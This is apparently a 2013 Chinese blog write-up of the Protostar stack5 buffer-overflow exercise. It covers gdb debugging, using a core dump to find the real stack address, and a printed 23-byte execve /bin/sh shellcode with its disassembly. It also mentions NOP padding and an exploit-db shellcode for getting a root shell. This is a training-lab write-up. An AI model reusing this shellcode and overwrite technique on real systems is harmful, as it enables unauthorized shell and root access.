protostar_stack5

这次的练习很难,要真正的实现一个shellcode
 
 
那么我们先来了解一下最简单的shellcode:
 
这个运行的结果是在shell中产生一个新的shell。
 
和以往一样,首先查看目标文件的内容,main函数部分:
 
gdb调试,在main处设置断点,查看断点的信息:
 
我们发现:
esp 0xbffffcd0
ebp 0xbffffd28 = esp + 88
buffer esp + 16
我们把那个最简单的shellcode反汇编之后的结果加进去!
但是这个产生了段错误!
 
经过查阅资料,我了解到产生段错误的原因是由于gdb中调试的栈,和真实运行的栈的位置,不一定相同!!
所以要通过调试dump core文件来查看真实的栈的位置!
 
首先打开 core dump设置,用ulimit -c unlimited命令
 
我们在tmp目录下找到了刚刚生成的core文件!
 
结果如下:
 
 
所以,我们应该把返回地址设为 0x bffffd50!
 
我们插入的简单的shellcode是"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
 
  31 c0                        xor %eax,%eax
  50                             push %eax
  68 6e 2f 73 68          push $0x68732f6e
  68 2f 2f 62 69           push $0x69622f2f
  89 e3                        mov %esp,%ebx
  50                             push %eax
  53                             push %ebx
  89 e1                        mov %esp,%ecx
  b0 0b                        mov $0xb,%al
  cd 80                        int $0x80
 
这是一段启动shell的命令,效果如下:
 
 
刚才为了调试打开dump core设置,进入了root用户,在返回地址的前面加上几个NOP,防止指令损坏什么的。既然可以执行我们想要执行的shellcode,那么也可以用更牛逼的shellcode,比如在普通用户的shell中执行shellcode进入root命令行!
这里面最后有一个例子
作者使用了http://www.exploit-db.com/exploits/13357/这个例子,使得从普通shell获得了root shell!
另外作者推荐了两个网站:
 
可是,让我感到痛苦的就是那个gdb的问题,这个真是令人意想不到,原来gdb中的地址也不是真实的,好吧。
 
 
 
 





posted @ 2013-07-14 16:22  二哥拉手网  阅读(551)  评论(0)    收藏  举报